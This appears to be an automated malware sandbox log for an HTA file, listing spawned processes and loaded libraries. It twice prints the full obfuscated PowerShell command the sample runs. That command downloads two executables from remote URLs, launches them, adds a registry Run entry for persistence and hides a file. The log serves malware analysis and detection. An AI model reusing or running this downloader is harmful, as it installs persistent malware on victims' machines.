                    Source: C:\Users\user\pyexec.exeCommand line argument: sys4_2_00401110
                    Source: C:\Users\user\pyexec.exeCommand line argument: _MessageBox4_2_00401110
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCommand line argument: windows_exe6_2_00401110
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCommand line argument: sys6_2_00401110
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCommand line argument: _MessageBox6_2_00401110
                    Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: upgrade.htaReversingLabs: Detection: 31%
                    Source: pyexec.exeString found in binary or memory: --help
                    Source: pyexec.exeString found in binary or memory: --help
                    Source: pyexec.exeString found in binary or memory: --help
                    Source: pyexec.exeString found in binary or memory: --help
                    Source: unknownProcess created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\upgrade.hta"
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\KNVYINNN.exe "C:\Users\user\AppData\Roaming\KNVYINNN.exe"
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess created: C:\Users\user\pyexec.exe "C:\Users\user\pyexec.exe"
                    Source: C:\Users\user\pyexec.exeProcess created: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\KNVYINNN.exe "C:\Users\user\AppData\Roaming\KNVYINNN.exe"
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\second.exe "C:\Users\user\AppData\Roaming\second.exe"
                    Source: C:\Users\user\AppData\Roaming\second.exeProcess created: C:\Users\user\Virtual.exe "C:\Users\user\Virtual.exe"
                    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                    Source: C:\Users\user\Virtual.exeProcess created: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess created: C:\Users\user\pyexec.exe "C:\Users\user\pyexec.exe"
                    Source: C:\Users\user\pyexec.exeProcess created: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe "C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe"
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\KNVYINNN.exe "C:\Users\user\AppData\Roaming\KNVYINNN.exe" Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\second.exe "C:\Users\user\AppData\Roaming\second.exe" Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess created: C:\Users\user\pyexec.exe "C:\Users\user\pyexec.exe" Jump to behavior
                    Source: C:\Users\user\pyexec.exeProcess created: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess created: C:\Users\user\pyexec.exe "C:\Users\user\pyexec.exe" Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe C:\Users\user\AppData\Local\Temp\BQE_Fast.exeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeProcess created: C:\Users\user\Virtual.exe "C:\Users\user\Virtual.exe" Jump to behavior
                    Source: C:\Users\user\Virtual.exeProcess created: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe
                    Source: C:\Users\user\pyexec.exeProcess created: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mshtml.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: powrprof.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wkscli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: umpdc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msiso.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msimtf.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxgi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dataexchange.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d11.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dcomp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: vbscript.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: scrrun.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msls31.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: jscript9.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: dxgidebug.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: sfc_os.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: dwmapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: riched20.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: usp10.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: msls31.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: windowscodecs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: textshaping.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: sppc.dllJump to behavior
